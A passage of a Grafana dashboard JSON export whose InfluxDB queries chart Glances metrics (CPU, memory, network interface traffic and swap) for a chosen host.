12,\n\t\t\t\t\"x\": 0,\n\t\t\t\t\"y\": 6\n\t\t\t},\n\t\t\t\"id\": 6,\n\t\t\t\"options\": {\n\t\t\t\t\"legend\": {\n\t\t\t\t\t\"calcs\": [],\n\t\t\t\t\t\"displayMode\": \"list\",\n\t\t\t\t\t\"placement\": \"bottom\",\n\t\t\t\t\t\"showLegend\": true\n\t\t\t\t},\n\t\t\t\t\"tooltip\": {\n\t\t\t\t\t\"mode\": \"single\",\n\t\t\t\t\t\"sort\": \"none\"\n\t\t\t\t}\n\t\t\t},\n\t\t\t\"pluginVersion\": \"10.4.1\",\n\t\t\t\"targets\": [\n\t\t\t\t{\n\t\t\t\t\t\"alias\": \"User\",\n\t\t\t\t\t\"column\": \"user\",\n\t\t\t\t\t\"datasource\": {\n\t\t\t\t\t\t\"type\": \"influxdb\",\n\t\t\t\t\t\t\"uid\": \"${DS_GLANCES}\"\n\t\t\t\t\t},\n\t\t\t\t\t\"dsType\": \"influxdb\",\n\t\t\t\t\t\"function\": \"mean\",\n\t\t\t\t\t\"groupBy\": [\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\"params\": [\"auto\"],\n\t\t\t\t\t\t\t\"type\": \"time\"\n\t\t\t\t\t\t},\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\"params\": [\"none\"],\n\t\t\t\t\t\t\t\"type\": \"fill\"\n\t\t\t\t\t\t}\n\t\t\t\t\t],\n\t\t\t\t\t\"measurement\": \"cpu\",\n\t\t\t\t\t\"orderByTime\": \"ASC\",\n\t\t\t\t\t\"policy\": \"default\",\n\t\t\t\t\t\"query\": \"SELECT mean(\\\"user\\\") FROM \\\"$host.cpu\\\" WHERE $timeFilter GROUP BY time($interval) fill(null)\",\n\t\t\t\t\t\"refId\": \"A\",\n\t\t\t\t\t\"resultFormat\": \"time_series\",\n\t\t\t\t\t\"select\": [\n\t\t\t\t\t\t[\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\"params\": [\"user\"],\n\t\t\t\t\t\t\t\t\"type\": \"field\"\n\t\t\t\t\t\t\t},\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\"params\": [],\n\t\t\t\t\t\t\t\t\"type\": \"mean\"\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t]\n\t\t\t\t\t],\n\t\t\t\t\t\"series\": \"cpu\",\n\t\t\t\t\t\"tags\": [\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\"key\": \"hostname\",\n\t\t\t\t\t\t\t\"operator\": \"=~\",\n\t\t\t\t\t\t\t\"value\": \"/^$host$/\"\n\t\t\t\t\t\t}\n\t\t\t\t\t]\n\t\t\t\t},\n\t\t\t\t{\n\t\t\t\t\t\"alias\": \"System\",\n\t\t\t\t\t\"column\": \"system\",\n\t\t\t\t\t\"datasource\": {\n\t\t\t\t\t\t\"type\": \"influxdb\",\n\t\t\t\t\t\t\"uid\": \"${DS_GLANCES}\"\n\t\t\t\t\t},\n\t\t\t\t\t\"dsType\": \"influxdb\",\n\t\t\t\t\t\"function\": \"mean\",\n\t\t\t\t\t\"groupBy\": [\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\"params\": [\"auto\"],\n\t\t\t\t\t\t\t\"type\": \"time\"\n\t\t\t\t\t\t},\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\"params\": [\"none\"],\n\t\t\t\t\t\t\t\"type\": \"fill\"\n\t\t\t\t\t\t}\n\t\t\t\t\t],\n\t\t\t\t\t\"measurement\": \"cpu\",\n\t\t\t\t\t\"orderByTime\": \"ASC\",\n\t\t\t\t\t\"policy\": \"default\",\n\t\t\t\t\t\"query\": \"SELECT mean(\\\"system\\\") FROM \\\"$host.cpu\\\" WHERE $timeFilter GROUP BY time($interval) fill(null)\",\n\t\t\t\t\t\"refId\": \"B\",\n\t\t\t\t\t\"resultFormat\": \"time_series\",\n\t\t\t\t\t\"select\": [\n\t\t\t\t\t\t[\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\"params\": [\"system\"],\n\t\t\t\t\t\t\t\t\"type\": \"field\"\n\t\t\t\t\t\t\t},\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\"params\": [],\n\t\t\t\t\t\t\t\t\"type\": \"mean\"\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t]\n\t\t\t\t\t],\n\t\t\t\t\t\"series\": \"cpu\",\n\t\t\t\t\t\"tags\": [\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\"key\": \"hostname\",\n\t\t\t\t\t\t\t\"operator\": \"=~\",\n\t\t\t\t\t\t\t\"value\": \"/^$host$/\"\n\t\t\t\t\t\t}\n\t\t\t\t\t],\n\t\t\t\t\t\"target\": \"\"\n\t\t\t\t},\n\t\t\t\t{\n\t\t\t\t\t\"alias\": \"IoWait\",\n\t\t\t\t\t\"column\": \"iowait\",\n\t\t\t\t\t\"datasource\": {\n\t\t\t\t\t\t\"type\": \"influxdb\",\n\t\t\t\t\t\t\"uid\": \"${DS_GLANCES}\"\n\t\t\t\t\t},\n\t\t\t\t\t\"dsType\": \"influxdb\",\n\t\t\t\t\t\"function\": \"mean\",\n\t\t\t\t\t\"groupBy\": [\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\"params\": [\"auto\"],\n\t\t\t\t\t\t\t\"type\": \"time\"\n\t\t\t\t\t\t},\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\"params\": [\"none\"],\n\t\t\t\t\t\t\t\"type\": \"fill\"\n\t\t\t\t\t\t}\n\t\t\t\t\t],\n\t\t\t\t\t\"measurement\": \"cpu\",\n\t\t\t\t\t\"orderByTime\": \"ASC\",\n\t\t\t\t\t\"policy\": \"default\",\n\t\t\t\t\t\"query\": \"SELECT mean(\\\"iowait\\\") FROM \\\"$host.cpu\\\" WHERE $timeFilter GROUP BY time($interval) fill(null)\",\n\t\t\t\t\t\"refId\": \"C\",\n\t\t\t\t\t\"resultFormat\": \"time_series\",\n\t\t\t\t\t\"select\": [\n\t\t\t\t\t\t[\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\"params\": [\"iowait\"],\n\t\t\t\t\t\t\t\t\"type\": \"field\"\n\t\t\t\t\t\t\t},\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\"params\": [],\n\t\t\t\t\t\t\t\t\"type\": \"mean\"\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t]\n\t\t\t\t\t],\n\t\t\t\t\t\"series\": \"cpu\",\n\t\t\t\t\t\"tags\": [\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\"key\": \"hostname\",\n\t\t\t\t\t\t\t\"operator\": \"=~\",\n\t\t\t\t\t\t\t\"value\": \"/^$host$/\"\n\t\t\t\t\t\t}\n\t\t\t\t\t],\n\t\t\t\t\t\"target\": \"\"\n\t\t\t\t}\n\t\t\t],\n\t\t\t\"title\": \"CPU (%)\",\n\t\t\t\"type\": \"timeseries\"\n\t\t},\n\t\t{\n\t\t\t\"datasource\": {\n\t\t\t\t\"type\": \"influxdb\",\n\t\t\t\t\"uid\": \"${DS_GLANCES}\"\n\t\t\t},\n\t\t\t\"fieldConfig\": {\n\t\t\t\t\"defaults\": {\n\t\t\t\t\t\"color\": {\n\t\t\t\t\t\t\"mode\": \"palette-classic\"\n\t\t\t\t\t},\n\t\t\t\t\t\"custom\": {\n\t\t\t\t\t\t\"axisBorderShow\": false,\n\t\t\t\t\t\t\"axisCenteredZero\": false,\n\t\t\t\t\t\t\"axisColorMode\": \"text\",\n\t\t\t\t\t\t\"axisLabel\": \"\",\n\t\t\t\t\t\t\"axisPlacement\": \"auto\",\n\t\t\t\t\t\t\"barAlignment\": 0,\n\t\t\t\t\t\t\"drawStyle\": \"line\",\n\t\t\t\t\t\t\"fillOpacity\": 0,\n\t\t\t\t\t\t\"gradientMode\": \"none\",\n\t\t\t\t\t\t\"hideFrom\": {\n\t\t\t\t\t\t\t\"legend\": false,\n\t\t\t\t\t\t\t\"tooltip\": false,\n\t\t\t\t\t\t\t\"viz\": false\n\t\t\t\t\t\t},\n\t\t\t\t\t\t\"insertNulls\": false,\n\t\t\t\t\t\t\"lineInterpolation\": \"linear\",\n\t\t\t\t\t\t\"lineWidth\": 1,\n\t\t\t\t\t\t\"pointSize\": 5,\n\t\t\t\t\t\t\"scaleDistribution\": {\n\t\t\t\t\t\t\t\"type\": \"linear\"\n\t\t\t\t\t\t},\n\t\t\t\t\t\t\"showPoints\": \"never\",\n\t\t\t\t\t\t\"spanNulls\": false,\n\t\t\t\t\t\t\"stacking\": {\n\t\t\t\t\t\t\t\"group\": \"A\",\n\t\t\t\t\t\t\t\"mode\": \"none\"\n\t\t\t\t\t\t},\n\t\t\t\t\t\t\"thresholdsStyle\": {\n\t\t\t\t\t\t\t\"mode\": \"off\"\n\t\t\t\t\t\t}\n\t\t\t\t\t},\n\t\t\t\t\t\"mappings\": [],\n\t\t\t\t\t\"min\": 0,\n\t\t\t\t\t\"thresholds\": {\n\t\t\t\t\t\t\"mode\": \"absolute\",\n\t\t\t\t\t\t\"steps\": [\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\"color\": \"green\",\n\t\t\t\t\t\t\t\t\"value\": null\n\t\t\t\t\t\t\t},\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\"color\": \"red\",\n\t\t\t\t\t\t\t\t\"value\": 80\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t]\n\t\t\t\t\t},\n\t\t\t\t\t\"unit\": \"bytes\"\n\t\t\t\t},\n\t\t\t\t\"overrides\": [\n\t\t\t\t\t{\n\t\t\t\t\t\t\"matcher\": {\n\t\t\t\t\t\t\t\"id\": \"byName\",\n\t\t\t\t\t\t\t\"options\": \"Max\"\n\t\t\t\t\t\t},\n\t\t\t\t\t\t\"properties\": [\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\"id\": \"color\",\n\t\t\t\t\t\t\t\t\"value\": {\n\t\t\t\t\t\t\t\t\t\"fixedColor\": \"#BF1B00\",\n\t\t\t\t\t\t\t\t\t\"mode\": \"fixed\"\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t]\n\t\t\t\t\t}\n\t\t\t\t]\n\t\t\t},\n\t\t\t\"gridPos\": {\n\t\t\t\t\"h\": 7,\n\t\t\t\t\"w\": 12,\n\t\t\t\t\"x\": 12,\n\t\t\t\t\"y\": 6\n\t\t\t},\n\t\t\t\"id\": 7,\n\t\t\t\"options\": {\n\t\t\t\t\"legend\": {\n\t\t\t\t\t\"calcs\": [],\n\t\t\t\t\t\"displayMode\": \"list\",\n\t\t\t\t\t\"placement\": \"bottom\",\n\t\t\t\t\t\"showLegend\": true\n\t\t\t\t},\n\t\t\t\t\"tooltip\": {\n\t\t\t\t\t\"mode\": \"single\",\n\t\t\t\t\t\"sort\": \"none\"\n\t\t\t\t}\n\t\t\t},\n\t\t\t\"pluginVersion\": \"10.4.1\",\n\t\t\t\"targets\": [\n\t\t\t\t{\n\t\t\t\t\t\"alias\": \"Used\",\n\t\t\t\t\t\"column\": \"used\",\n\t\t\t\t\t\"datasource\": {\n\t\t\t\t\t\t\"type\": \"influxdb\",\n\t\t\t\t\t\t\"uid\": \"${DS_GLANCES}\"\n\t\t\t\t\t},\n\t\t\t\t\t\"dsType\": \"influxdb\",\n\t\t\t\t\t\"function\": \"mean\",\n\t\t\t\t\t\"groupBy\": [\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\"params\": [\"$__interval\"],\n\t\t\t\t\t\t\t\"type\": \"time\"\n\t\t\t\t\t\t},\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\"params\": [\"none\"],\n\t\t\t\t\t\t\t\"type\": \"fill\"\n\t\t\t\t\t\t}\n\t\t\t\t\t],\n\t\t\t\t\t\"measurement\": \"mem\",\n\t\t\t\t\t\"orderByTime\": \"ASC\",\n\t\t\t\t\t\"policy\": \"default\",\n\t\t\t\t\t\"query\": \"SELECT mean(\\\"used\\\") FROM \\\"mem\\\" WHERE (\\\"hostname\\\" =~ /^$host$/) AND $timeFilter GROUP BY time($__interval) fill(none)\",\n\t\t\t\t\t\"rawQuery\": false,\n\t\t\t\t\t\"refId\": \"A\",\n\t\t\t\t\t\"resultFormat\": \"time_series\",\n\t\t\t\t\t\"select\": [\n\t\t\t\t\t\t[\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\"params\": [\"used\"],\n\t\t\t\t\t\t\t\t\"type\": \"field\"\n\t\t\t\t\t\t\t},\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\"params\": [],\n\t\t\t\t\t\t\t\t\"type\": \"mean\"\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t]\n\t\t\t\t\t],\n\t\t\t\t\t\"series\": \"mem\",\n\t\t\t\t\t\"tags\": [\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\"key\": \"hostname\",\n\t\t\t\t\t\t\t\"operator\": \"=~\",\n\t\t\t\t\t\t\t\"value\": \"/^$host$/\"\n\t\t\t\t\t\t}\n\t\t\t\t\t]\n\t\t\t\t},\n\t\t\t\t{\n\t\t\t\t\t\"alias\": \"Max\",\n\t\t\t\t\t\"column\": \"total\",\n\t\t\t\t\t\"datasource\": {\n\t\t\t\t\t\t\"type\": \"influxdb\",\n\t\t\t\t\t\t\"uid\": \"${DS_GLANCES}\"\n\t\t\t\t\t},\n\t\t\t\t\t\"dsType\": \"influxdb\",\n\t\t\t\t\t\"function\": \"mean\",\n\t\t\t\t\t\"groupBy\": [\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\"params\": [\"$__interval\"],\n\t\t\t\t\t\t\t\"type\": \"time\"\n\t\t\t\t\t\t},\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\"params\": [\"none\"],\n\t\t\t\t\t\t\t\"type\": \"fill\"\n\t\t\t\t\t\t}\n\t\t\t\t\t],\n\t\t\t\t\t\"measurement\": \"mem\",\n\t\t\t\t\t\"orderByTime\": \"ASC\",\n\t\t\t\t\t\"policy\": \"default\",\n\t\t\t\t\t\"query\": \"SELECT mean(\\\"total\\\") FROM \\\"mem\\\" WHERE $timeFilter GROUP BY time($__interval) fill(none)\",\n\t\t\t\t\t\"rawQuery\": false,\n\t\t\t\t\t\"refId\": \"B\",\n\t\t\t\t\t\"resultFormat\": \"time_series\",\n\t\t\t\t\t\"select\": [\n\t\t\t\t\t\t[\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\"params\": [\"total\"],\n\t\t\t\t\t\t\t\t\"type\": \"field\"\n\t\t\t\t\t\t\t},\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\"params\": [],\n\t\t\t\t\t\t\t\t\"type\": \"mean\"\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t]\n\t\t\t\t\t],\n\t\t\t\t\t\"series\": \"mem\",\n\t\t\t\t\t\"tags\": [\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\"key\": \"hostname\",\n\t\t\t\t\t\t\t\"operator\": \"=~\",\n\t\t\t\t\t\t\t\"value\": \"/^$host$/\"\n\t\t\t\t\t\t}\n\t\t\t\t\t],\n\t\t\t\t\t\"target\": \"\"\n\t\t\t\t}\n\t\t\t],\n\t\t\t\"title\": \"MEM\",\n\t\t\t\"type\": \"timeseries\"\n\t\t},\n\t\t{\n\t\t\t\"datasource\": {\n\t\t\t\t\"type\": \"influxdb\",\n\t\t\t\t\"uid\": \"${DS_GLANCES}\"\n\t\t\t},\n\t\t\t\"fieldConfig\": {\n\t\t\t\t\"defaults\": {\n\t\t\t\t\t\"color\": {\n\t\t\t\t\t\t\"mode\": \"palette-classic\"\n\t\t\t\t\t},\n\t\t\t\t\t\"custom\": {\n\t\t\t\t\t\t\"axisBorderShow\": false,\n\t\t\t\t\t\t\"axisCenteredZero\": false,\n\t\t\t\t\t\t\"axisColorMode\": \"text\",\n\t\t\t\t\t\t\"axisLabel\": \"\",\n\t\t\t\t\t\t\"axisPlacement\": \"auto\",\n\t\t\t\t\t\t\"barAlignment\": 0,\n\t\t\t\t\t\t\"drawStyle\": \"line\",\n\t\t\t\t\t\t\"fillOpacity\": 30,\n\t\t\t\t\t\t\"gradientMode\": \"none\",\n\t\t\t\t\t\t\"hideFrom\": {\n\t\t\t\t\t\t\t\"legend\": false,\n\t\t\t\t\t\t\t\"tooltip\": false,\n\t\t\t\t\t\t\t\"viz\": false\n\t\t\t\t\t\t},\n\t\t\t\t\t\t\"insertNulls\": false,\n\t\t\t\t\t\t\"lineInterpolation\": \"linear\",\n\t\t\t\t\t\t\"lineWidth\": 1,\n\t\t\t\t\t\t\"pointSize\": 5,\n\t\t\t\t\t\t\"scaleDistribution\": {\n\t\t\t\t\t\t\t\"type\": \"linear\"\n\t\t\t\t\t\t},\n\t\t\t\t\t\t\"showPoints\": \"never\",\n\t\t\t\t\t\t\"spanNulls\": false,\n\t\t\t\t\t\t\"stacking\": {\n\t\t\t\t\t\t\t\"group\": \"A\",\n\t\t\t\t\t\t\t\"mode\": \"none\"\n\t\t\t\t\t\t},\n\t\t\t\t\t\t\"thresholdsStyle\": {\n\t\t\t\t\t\t\t\"mode\": \"off\"\n\t\t\t\t\t\t}\n\t\t\t\t\t},\n\t\t\t\t\t\"mappings\": [],\n\t\t\t\t\t\"thresholds\": {\n\t\t\t\t\t\t\"mode\": \"absolute\",\n\t\t\t\t\t\t\"steps\": [\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\"color\": \"green\",\n\t\t\t\t\t\t\t\t\"value\": null\n\t\t\t\t\t\t\t},\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\"color\": \"red\",\n\t\t\t\t\t\t\t\t\"value\": 80\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t]\n\t\t\t\t\t},\n\t\t\t\t\t\"unit\": \"bps\"\n\t\t\t\t},\n\t\t\t\t\"overrides\": []\n\t\t\t},\n\t\t\t\"gridPos\": {\n\t\t\t\t\"h\": 7,\n\t\t\t\t\"w\": 12,\n\t\t\t\t\"x\": 0,\n\t\t\t\t\"y\": 13\n\t\t\t},\n\t\t\t\"id\": 9,\n\t\t\t\"options\": {\n\t\t\t\t\"legend\": {\n\t\t\t\t\t\"calcs\": [\"mean\", \"max\", \"min\"],\n\t\t\t\t\t\"displayMode\": \"list\",\n\t\t\t\t\t\"placement\": \"bottom\",\n\t\t\t\t\t\"showLegend\": true\n\t\t\t\t},\n\t\t\t\t\"tooltip\": {\n\t\t\t\t\t\"mode\": \"single\",\n\t\t\t\t\t\"sort\": \"none\"\n\t\t\t\t}\n\t\t\t},\n\t\t\t\"pluginVersion\": \"10.4.1\",\n\t\t\t\"targets\": [\n\t\t\t\t{\n\t\t\t\t\t\"alias\": \"In\",\n\t\t\t\t\t\"column\": \"enp0s25.rx\",\n\t\t\t\t\t\"datasource\": {\n\t\t\t\t\t\t\"type\": \"influxdb\",\n\t\t\t\t\t\t\"uid\": \"${DS_GLANCES}\"\n\t\t\t\t\t},\n\t\t\t\t\t\"dsType\": \"influxdb\",\n\t\t\t\t\t\"function\": \"mean\",\n\t\t\t\t\t\"groupBy\": [\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\"params\": [\"auto\"],\n\t\t\t\t\t\t\t\"type\": \"time\"\n\t\t\t\t\t\t},\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\"params\": [\"null\"],\n\t\t\t\t\t\t\t\"type\": \"fill\"\n\t\t\t\t\t\t}\n\t\t\t\t\t],\n\t\t\t\t\t\"interval\": \"\",\n\t\t\t\t\t\"measurement\": \"$host.network\",\n\t\t\t\t\t\"orderByTime\": \"ASC\",\n\t\t\t\t\t\"policy\": \"default\",\n\t\t\t\t\t\"query\": \"SELECT mean(\\\"rx\\\")/mean(\\\"time_since_update\\\")*8 FROM \\\"network\\\" WHERE (\\\"hostname\\\" =~ /^$host$/) AND (\\\"interface_name\\\" =~ /^$interface$/) AND $timeFilter GROUP BY time($interval) fill(none)\",\n\t\t\t\t\t\"rawQuery\": true,\n\t\t\t\t\t\"refId\": \"A\",\n\t\t\t\t\t\"resultFormat\": \"time_series\",\n\t\t\t\t\t\"select\": [\n\t\t\t\t\t\t[\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\"params\": [\"eth0.rx\"],\n\t\t\t\t\t\t\t\t\"type\": \"field\"\n\t\t\t\t\t\t\t},\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\"params\": [],\n\t\t\t\t\t\t\t\t\"type\": \"mean\"\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t]\n\t\t\t\t\t],\n\t\t\t\t\t\"series\": \"network\",\n\t\t\t\t\t\"tags\": []\n\t\t\t\t},\n\t\t\t\t{\n\t\t\t\t\t\"alias\": \"Out\",\n\t\t\t\t\t\"column\": \"eth0.tx*-1\",\n\t\t\t\t\t\"datasource\": {\n\t\t\t\t\t\t\"type\": \"influxdb\",\n\t\t\t\t\t\t\"uid\": \"${DS_GLANCES}\"\n\t\t\t\t\t},\n\t\t\t\t\t\"dsType\": \"influxdb\",\n\t\t\t\t\t\"function\": \"mean\",\n\t\t\t\t\t\"groupBy\": [\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\"params\": [\"auto\"],\n\t\t\t\t\t\t\t\"type\": \"time\"\n\t\t\t\t\t\t},\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\"params\": [\"null\"],\n\t\t\t\t\t\t\t\"type\": \"fill\"\n\t\t\t\t\t\t}\n\t\t\t\t\t],\n\t\t\t\t\t\"measurement\": \"$host.network\",\n\t\t\t\t\t\"orderByTime\": \"ASC\",\n\t\t\t\t\t\"policy\": \"default\",\n\t\t\t\t\t\"query\": \"SELECT mean(\\\"tx\\\")/mean(\\\"time_since_update\\\")*-8 FROM \\\"network\\\" WHERE (\\\"hostname\\\" =~ /^$host$/) AND (\\\"interface_name\\\" =~ /^$interface$/) AND $timeFilter GROUP BY time($interval) fill(none)\",\n\t\t\t\t\t\"rawQuery\": true,\n\t\t\t\t\t\"refId\": \"B\",\n\t\t\t\t\t\"resultFormat\": \"time_series\",\n\t\t\t\t\t\"select\": [\n\t\t\t\t\t\t[\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\"params\": [\"eth0.tx\"],\n\t\t\t\t\t\t\t\t\"type\": \"field\"\n\t\t\t\t\t\t\t},\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\"params\": [],\n\t\t\t\t\t\t\t\t\"type\": \"mean\"\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t]\n\t\t\t\t\t],\n\t\t\t\t\t\"series\": \"network\",\n\t\t\t\t\t\"tags\": [],\n\t\t\t\t\t\"target\": \"\"\n\t\t\t\t}\n\t\t\t],\n\t\t\t\"title\": \"$interface network interface\",\n\t\t\t\"type\": \"timeseries\"\n\t\t},\n\t\t{\n\t\t\t\"datasource\": {\n\t\t\t\t\"type\": \"influxdb\",\n\t\t\t\t\"uid\": \"${DS_GLANCES}\"\n\t\t\t},\n\t\t\t\"fieldConfig\": {\n\t\t\t\t\"defaults\": {\n\t\t\t\t\t\"color\": {\n\t\t\t\t\t\t\"mode\": \"palette-classic\"\n\t\t\t\t\t},\n\t\t\t\t\t\"custom\": {\n\t\t\t\t\t\t\"axisBorderShow\": false,\n\t\t\t\t\t\t\"axisCenteredZero\": false,\n\t\t\t\t\t\t\"axisColorMode\": \"text\",\n\t\t\t\t\t\t\"axisLabel\": \"\",\n\t\t\t\t\t\t\"axisPlacement\": \"auto\",\n\t\t\t\t\t\t\"barAlignment\": 0,\n\t\t\t\t\t\t\"drawStyle\": \"line\",\n\t\t\t\t\t\t\"fillOpacity\": 0,\n\t\t\t\t\t\t\"gradientMode\": \"none\",\n\t\t\t\t\t\t\"hideFrom\": {\n\t\t\t\t\t\t\t\"legend\": false,\n\t\t\t\t\t\t\t\"tooltip\": false,\n\t\t\t\t\t\t\t\"viz\": false\n\t\t\t\t\t\t},\n\t\t\t\t\t\t\"insertNulls\": false,\n\t\t\t\t\t\t\"lineInterpolation\": \"linear\",\n\t\t\t\t\t\t\"lineWidth\": 1,\n\t\t\t\t\t\t\"pointSize\": 5,\n\t\t\t\t\t\t\"scaleDistribution\": {\n\t\t\t\t\t\t\t\"type\": \"linear\"\n\t\t\t\t\t\t},\n\t\t\t\t\t\t\"showPoints\": \"never\",\n\t\t\t\t\t\t\"spanNulls\": false,\n\t\t\t\t\t\t\"stacking\": {\n\t\t\t\t\t\t\t\"group\": \"A\",\n\t\t\t\t\t\t\t\"mode\": \"none\"\n\t\t\t\t\t\t},\n\t\t\t\t\t\t\"thresholdsStyle\": {\n\t\t\t\t\t\t\t\"mode\": \"off\"\n\t\t\t\t\t\t}\n\t\t\t\t\t},\n\t\t\t\t\t\"mappings\": [],\n\t\t\t\t\t\"min\": 0,\n\t\t\t\t\t\"thresholds\": {\n\t\t\t\t\t\t\"mode\": \"absolute\",\n\t\t\t\t\t\t\"steps\": [\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\"color\": \"green\",\n\t\t\t\t\t\t\t\t\"value\": null\n\t\t\t\t\t\t\t},\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\"color\": \"red\",\n\t\t\t\t\t\t\t\t\"value\": 80\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t]\n\t\t\t\t\t},\n\t\t\t\t\t\"unit\": \"bytes\"\n\t\t\t\t},\n\t\t\t\t\"overrides\": [\n\t\t\t\t\t{\n\t\t\t\t\t\t\"matcher\": {\n\t\t\t\t\t\t\t\"id\": \"byName\",\n\t\t\t\t\t\t\t\"options\": \"Max\"\n\t\t\t\t\t\t},\n\t\t\t\t\t\t\"properties\": [\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\"id\": \"color\",\n\t\t\t\t\t\t\t\t\"value\": {\n\t\t\t\t\t\t\t\t\t\"fixedColor\": \"#BF1B00\",\n\t\t\t\t\t\t\t\t\t\"mode\": \"fixed\"\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t]\n\t\t\t\t\t}\n\t\t\t\t]\n\t\t\t},\n\t\t\t\"gridPos\": {\n\t\t\t\t\"h\": 7,\n\t\t\t\t\"w\": 12,\n\t\t\t\t\"x\": 12,\n\t\t\t\t\"y\": 13\n\t\t\t},\n\t\t\t\"id\": 8,\n\t\t\t\"options\": {\n\t\t\t\t\"legend\": {\n\t\t\t\t\t\"calcs\": [],\n\t\t\t\t\t\"displayMode\": \"list\",\n\t\t\t\t\t\"placement\": \"bottom\",\n\t\t\t\t\t\"showLegend\": true\n\t\t\t\t},\n\t\t\t\t\"tooltip\": {\n\t\t\t\t\t\"mode\": \"single\",\n\t\t\t\t\t\"sort\": \"none\"\n\t\t\t\t}\n\t\t\t},\n\t\t\t\"pluginVersion\": \"10.4.1\",\n\t\t\t\"targets\": [\n\t\t\t\t{\n\t\t\t\t\t\"alias\": \"Used\",\n\t\t\t\t\t\"column\": \"used\",\n\t\t\t\t\t\"datasource\": {\n\t\t\t\t\t\t\"type\": \"influxdb\",\n\t\t\t\t\t\t\"uid\": \"${DS_GLANCES}\"\n\t\t\t\t\t},\n\t\t\t\t\t\"dsType\": \"influxdb\",\n\t\t\t\t\t\"function\": \"mean\",\n\t\t\t\t\t\"groupBy\": [\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\"params\": [\"$__interval\"],\n\t\t\t\t\t\t\t\"type\": \"time\"\n\t\t\t\t\t\t}\n\t\t\t\t\t],\n\t\t\t\t\t\"measurement\": \"$host.memswap\",\n\t\t\t\t\t\"orderByTime\": \"ASC\",\n\t\t\t\t\t\"policy\": \"default\",\n\t\t\t\t\t\"query\": \"SELECT mean(\\\"used\\\") FROM \\\"memswap\\\" WHERE (\\\"hostname\\\" =~ /^$host$/) AND $timeFilter GROUP BY time($__interval) fill(none)\",\n\t\t\t\t\t\"rawQuery\": true,\n\t\t\t\t\t\"refId\": \"A\",\n\t\t\t\t\t\"resultFormat\": \"time_series\",\n\t\t\t\t\t\"select\": [\n\t\t\t\t\t\t[\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\"params\": [\"used\"],\n\t\t\t\t\t\t\t\t\"type\": \"field\"\n\t\t\t\t\t\t\t},\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\"params\": [],\n\t\t\t\t\t\t\t\t\"type\": \"mean\"\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t]\n\t\t\t\t\t],\n\t\t\t\t\t\"series\": \"memswap\",\n\t\t\t\t\t\"tags\": []\n\t\t\t\t},\n\t\t\t\t{\n\t\t\t\t\t\"alias\": \"Max\",\n\t\t\t\t\t\"column\": \"total\",\n\t\t\t\t\t\"datasource\": {\n\t\t\t\t\t\t\"type\": \"influxdb\",\n\t\t\t\t\t\t\"uid\": \"${DS_GLANCES}\"\n\t\t\t\t\t},\n\t\t\t\t\t\"dsType\": \"influxdb\",\n\t\t\t\t\t\"function\": \"mean\",\n\t\t\t\t\t\"groupBy\": [\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\"params\": [\"$__interval\"],\n\t\t\t\t\t\t\t\"type\": \"time\"\n\t\t\t\t\t\t}\n\t\t\t\t\t],\n\t\t\t\t\t\"measurement\": \"$host.memswap\",\n\t\t\t\t\t\"orderByTime\": \"ASC\",\n\t\t\t\t\t\"policy\": \"default\",\n\t\t\t\t\t\"query\": \"SELECT 